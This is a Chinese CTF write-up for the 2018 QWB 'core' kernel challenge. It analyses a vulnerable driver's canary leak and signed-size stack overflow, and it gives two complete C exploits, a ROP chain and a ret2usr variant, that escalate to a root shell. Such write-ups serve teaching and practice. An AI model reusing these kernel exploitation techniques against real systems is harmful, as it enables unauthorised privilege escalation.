内核栈溢出,这里用的是2018年强网杯的core。这是没有开启SMEP保护的,因此只需要简单的ROP或直接ret2usr即能完成提权并返回用户态跑root shell。
参考资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/
Linux内核的一些基础:ctf-wiki 、My blog - 初探LinuxLinux VFS虚拟文件系统 、My blog - Linux内核-进程、线程初探
题目 题目:题目链接-core
解压缩,有四个东东
bzImage: bzImage是vmlinuz经过gzip压缩后的文件,适用于大内核,启动现代Linux系统时,实际运行的即为bzImage kernel文件
start.sh:QEMU启动脚本
rootfs.cpio:文件系统镜像
vmlinux: 未压缩的内核 ,可用来查找gadget
将文件系统解包看看
1 2 3 4 5 mkdir fs cp ./core.cpio ./fs/core.cpio.gz cd fs gunzip ./core.cpio.gz cpio -idmv < ./core.cpio
有一个init
文件,用于启动内核后初始化,查看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
echo 1 > /proc/sys/kernel/kptr_restrict
,则不能通过/proc/kallsyms
查看内核符号的地址了,但是这里有cat /proc/kallsyms > /tmp/kallsyms
,所以可以在/tmp/kallsyms
看到,没什么影响。
echo 1 > /proc/sys/kernel/dmesg_restrict
,查找到资料如下:
When dmesg_restrict is set to (0) there are no restrictions. When dmesg_restrict is set set to (1), users must have CAP_SYSLOG to use dmesg(8). The kernel config option CONFIG_SECURITY_DMESG_RESTRICT sets the default value of dmesg_restrict.
因此,这里将/proc/sys/kernel/dmesg_restrict
设置为0,非root用户就不可以查看dmesg了。
insmod /core.ko
,将core.ko装载进了内核,这个应该就是需要我们分析并漏洞利用的驱动了。
另外可以将poweroff -d 120 -f &
这行删掉,这样QEMU启动后就不会自动关了,他这里有一个自带的带包脚本gen_cpio.sh
:
重新打包,再COPY出去用于启动就可以了
1 2 ./gen_cpio.sh ./core.cpio cp ./core.cpio ../core.cpio
start.sh,是QEMU的启动脚本,这里并没有开启SMEP。
1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
这里要把第二行的-m 64M
改成-m 128M
,不然内存不够用启动不了。
配置GDB内核调试 如何调试: 在start.sh中,添加-gdb tcp::ip
或者-s
(-gdb tcp::1234的简写),即可在gdb中用target remote:ip
即可连接上。
加载符号表: 题目给了一个带符号的vmlinux,用file
命令即可将vmlinux的内核符号加载进去
而core.ko的符号,则需要add-symbol-file core.ko textAddr
,这里的textAddr是指core.ko装载进内核空间后的.text段地址(其实就是装载基址)。这个地址可以在/sys/module/core/sections/.text
读到,但是需要root权限,题目的init给的是一个普通用户(uid = gid = 1000),直接QEMU启动后是看不了的
因此为方便调试,修改一下init文件,以root权限起shell,重新打包启动QEMU
再启动后就可以读到了
或者也可以这样,在init里添加cat /sys/module/core/sections/.text > /tmp/core.text
,将它复制到/tmp里,启动后从里面读就可以了,这里注意要加在insmod /core.ko
后面,不然的话会找不到文件
然后就可以在gdb中添加core.ko自带的符号,可以愉快地用函数名下断点了,调试起来就很方便
驱动分析 解包文件系统镜像将core.ko拿出来分析。
开启了canary和栈执行保护,带符表,可以很方便的分析和调试
用IDA分析:
1、core_ioctl
定义了三个命令,分别是:
core_read:允许从内核栈上读取内容到用户缓冲区,可用于信息泄露
给全局变量off赋值
core_copy_func:允许往内核栈上写入数据,存在溢出漏洞
2、core_read
允许从内核栈上读取内容,可用于泄漏地址、canary值等信息,读取的基址是[rbp-50h]偏移是通过全局变量off决定的
3、core_copy_func
允许将全局变量name的内容往栈上复制,由于判断size时用的是signed __int64
类型并且没有判断负值,而在复制时将size转换成unsigned __int16
类型,因此存在栈溢出漏洞。
4、core_write
允许用户往内核全局变量name中写入内容。
5、init_module
用proc_create()
创建了虚拟文件core,在file_operations core_fops函数表中,绑定了core_write、core_ioctl、core_release。也就是说,通过这个文件的fd,和read、write、close、ioctl等系统调用,就可以调用驱动中的各个函数了。
漏洞利用-ROP 根据以上分析结果,对这个栈溢出漏洞的利用思路可以如下:
通过ioctl,命令0x6677889c,给内核全局变量off赋值
通过ioctl,命令0x6677889b,调用core_read方法,从栈上泄漏canary值
构造好payload,通过write方法将payload写入全局变量name
通过ioctl,命令0x6677889a,调用core_copy_func方法,将全局变量name中的payload复制到栈上,触发栈溢出
payload中要构造ROP链,执行commit_creds(prepare_kernel_cred(0))
,将进程权限提升到root
返回用户态,执行system("/bin/sh")
起root权限shell
寻找gadget 题目提供了静态编译且未压缩的内核文件vmlinux,因此可以在vmlinux中寻找gadget。 如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。
工具的话,我用的是ROPgadget ,但是听说有的人用这个很慢,但是我用的还是OK的,跑大概一分钟。如果ROPgadget不好用,还可以使用 Ropper
确定内核函数地址 在init
中,执行了cat /proc/kallsyms > /tmp/kallsyms
,因此在/tmp/kallsyms
可以读到所有内核符号的地址,当然包括了我们需要用到的commit_creds()
和prepare_kernel_cred()
函数地址。同时,通过固定的偏移也能确定gadged的地址。
内核态切换回用户态
通过 swapgs
恢复 GS 值
通过iretq
恢复各寄存器值到用户态,参考 https://baike.baidu.com/item/iret/1314268?fr=aladdin
会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。
其中,rip的值,可以直接用我们EXP中写好的跑shell的地址,这样回到用户态后就直接跑shell了
而cs、标志寄存器、rsp、ss都需要合法的值(其实标志寄存器直接给0也是可以的),因此可以在EXP中先将当前用户态的值保存下来,在ROP链中直接用这些值就可以了:
1 2 3 4 5 6 7 __asm__( "mov usr_cs, cs;" "mov usr_ss, ss;" "mov usr_rsp, rsp;" "pushfq;" "pop usr_rflags;" );
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 //sunxiaokong //gcc -static -masm=intel -g -o my_exp my_exp.c #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define INS_SET_OFF 0x6677889C #define INS_READ 0x6677889B #define INS_COPY_FUNC 0x6677889A int get_kernel_addr(); void get_usr_regs(); void shell(); size_t canary = 0; // value of canary size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr size_t off; // offset of kaslr size_t vmlinux_base; // base addr of vmlinux size_t rop_chain[100] = {0}; // rop chain size_t usr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode int main(){ get_usr_regs(); get_kernel_addr(); int fd = open("/proc/core", O_RDWR); if(fd < 0){ puts("[T.T] open file error !!!"); exit(0); } ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40 char *buf_leak = (char *)malloc(0x40); // buffer of leak data ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack canary = *(size_t *)buf_leak; printf("[^.^] canary : 0x%lx\n", canary); int i; for(i=0; i<10; i++){ rop_chain[i] = canary; } rop_chain[i++] = 0xffffffff81000b2f + off; // pop rdi ; ret rop_chain[i++] = 0; rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0) rop_chain[i++] = 0xffffffff810a0f49 + off; // pop rdx ; ret rop_chain[i++] = commit_creds; rop_chain[i++] = 0xffffffff8106a6d2 + off; // mov rdi, rax ; jmp rdx rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret rop_chain[i++] = 0; rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret; rop_chain[i++] = (size_t)shell; // rip rop_chain[i++] = usr_cs; // cs rop_chain[i++] = usr_rflags; // rflags rop_chain[i++] = usr_rsp; // rsp rop_chain[i++] = usr_ss; // ss write(fd, rop_chain, 0X800); // write payload to "name" ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000 | (0x100)); // stack overflow } /* read symbols addr in /tmp/kallsyms and calc the vmlinux base */ int get_kernel_addr(){ char *buf = (char *)malloc(0x50); FILE *kallsyms = fopen("/tmp/kallsyms", "r"); while(fgets(buf, 0x50, kallsyms)){ // fgets:read one line at one time if(strstr(buf, "prepare_kernel_cred")){ sscanf(buf, "%lx", &prepare_kernel_cred); printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred); } if(strstr(buf, "commit_creds")){ sscanf(buf, "%lx", &commit_creds); printf("[^.^] commit_creds : 0x%lx\n", commit_creds); off = commit_creds - 0xffffffff8109c8e0; vmlinux_base = 0xffffffff81000000 + off; printf("[^.^] offset : 0x%lx\n", off); printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base); } if(commit_creds && prepare_kernel_cred){ return 0; } } } /* save some regs of user mode */ void get_usr_regs(){ __asm__( "mov usr_cs, cs;" "mov usr_ss, ss;" "mov usr_rsp, rsp;" "pushfq;" "pop usr_rflags;" ); printf("[^.^] save regs of user mode, done !!!\n"); } /* run a root shell */ void shell(){ if(!getuid()) { system("/bin/sh"); } else { puts("[T.T] privilege escalation failed !!!"); } exit(0); } /* ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi 0xffffffff81000b2f : pop rdi ; ret ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax" 0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx 0xffffffff810a0f49 : pop rdx ; ret ROPgadget --binary ./vmlinux | grep swapgs 0xffffffff81a012da : swapgs ; popfq ; ret ropper -f ./vmlinux > ./gadget.txt cat ./gadget.txt | grep iretq 0xffffffff81050ac2: iretq; ret; */
编译命令gcc -static -masm=intel -g -o my_exp my_exp.c
提权成功
漏洞利用-ret2usr 在没有开启SMEP(管理模式执行保护)的情况下,内核态CPU是可以访问执行用户空间的代码的。
由于这里的start.sh中,并没有开启smep保护,因此其实可以不用构造内核ROP来完成commit_creds(prepare_kernel_cred(0))
,可以直接ret2usr,在内核栈溢出中控制指针定向到用户空间,在EXP的用户空间来执行提权代码,直接将commit_creds()
和prepare_kernel_cred()
的函数地址转换为函数指针执行即可,然后再和刚才一样,用swapgs
和iretq
切换CPU回用户态起root shell即可。
1 2 3 4 5 6 7 8 9 void privilege_escalation () { if (commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char * (*)(int ))prepare_kernel_cred))(0 ) ); } }
完整EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #define INS_SET_OFF 0x6677889C #define INS_READ 0x6677889B #define INS_COPY_FUNC 0x6677889A int get_kernel_addr () ;void get_usr_regs () ;void privilege_escalation () ;void shell () ;size_t canary = 0 ; size_t commit_creds=0 , prepare_kernel_cred=0 ; size_t off; size_t vmlinux_base; size_t rop_chain[100 ] = {0 }; size_t usr_cs, usr_ss, usr_rsp, usr_rflags; int main () { get_usr_regs(); get_kernel_addr(); int fd = open("/proc/core" , O_RDWR); if (fd < 0 ){ puts ("[T.T] open file error !!!" ); exit (0 ); } ioctl(fd, INS_SET_OFF, 0x40 ); char *buf_leak = (char *)malloc (0x40 ); ioctl(fd, INS_READ, buf_leak); canary = *(size_t *)buf_leak; printf ("[^.^] canary : 0x%lx\n" , canary); int i; for (i=0 ; i<10 ; i++){ rop_chain[i] = canary; } rop_chain[i++] = (size_t )privilege_escalation; rop_chain[i++] = 0xffffffff81a012da + off; rop_chain[i++] = 0 ; rop_chain[i++] = 0xffffffff81050ac2 + off; rop_chain[i++] = (size_t )shell; rop_chain[i++] = usr_cs; rop_chain[i++] = usr_rflags; rop_chain[i++] = usr_rsp; rop_chain[i++] = usr_ss; write(fd, rop_chain, 0X800 ); ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000 | (0x100 )); } void get_usr_regs () { __asm__( "mov usr_cs, cs;" "mov usr_ss, ss;" "mov usr_rsp, rsp;" "pushfq;" "pop usr_rflags;" ); printf ("[^.^] save regs of user mode, done !!!\n" ); } int get_kernel_addr () { char *buf = (char *)malloc (0x50 ); FILE *kallsyms = fopen("/tmp/kallsyms" , "r" ); while (fgets(buf, 0x50 , kallsyms)){ if (strstr (buf, "prepare_kernel_cred" )){ sscanf (buf, "%lx" , &prepare_kernel_cred); printf ("[^.^] prepare_kernel_cred : 0x%lx\n" , prepare_kernel_cred); } if (strstr (buf, "commit_creds" )){ sscanf (buf, "%lx" , &commit_creds); printf ("[^.^] commit_creds : 0x%lx\n" , commit_creds); off = commit_creds - 0xffffffff8109c8e0 ; vmlinux_base = 0xffffffff81000000 + off; printf ("[^.^] offset : 0x%lx\n" , off); printf ("[^.^] vmlinux base : 0x%lx\n" , vmlinux_base); } if (commit_creds && prepare_kernel_cred){ return 0 ; } } } void privilege_escalation () { if (commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char * (*)(int ))prepare_kernel_cred))(0 ) ); } } void shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[T.T] privilege escalation failed !!!" ); } exit (0 ); }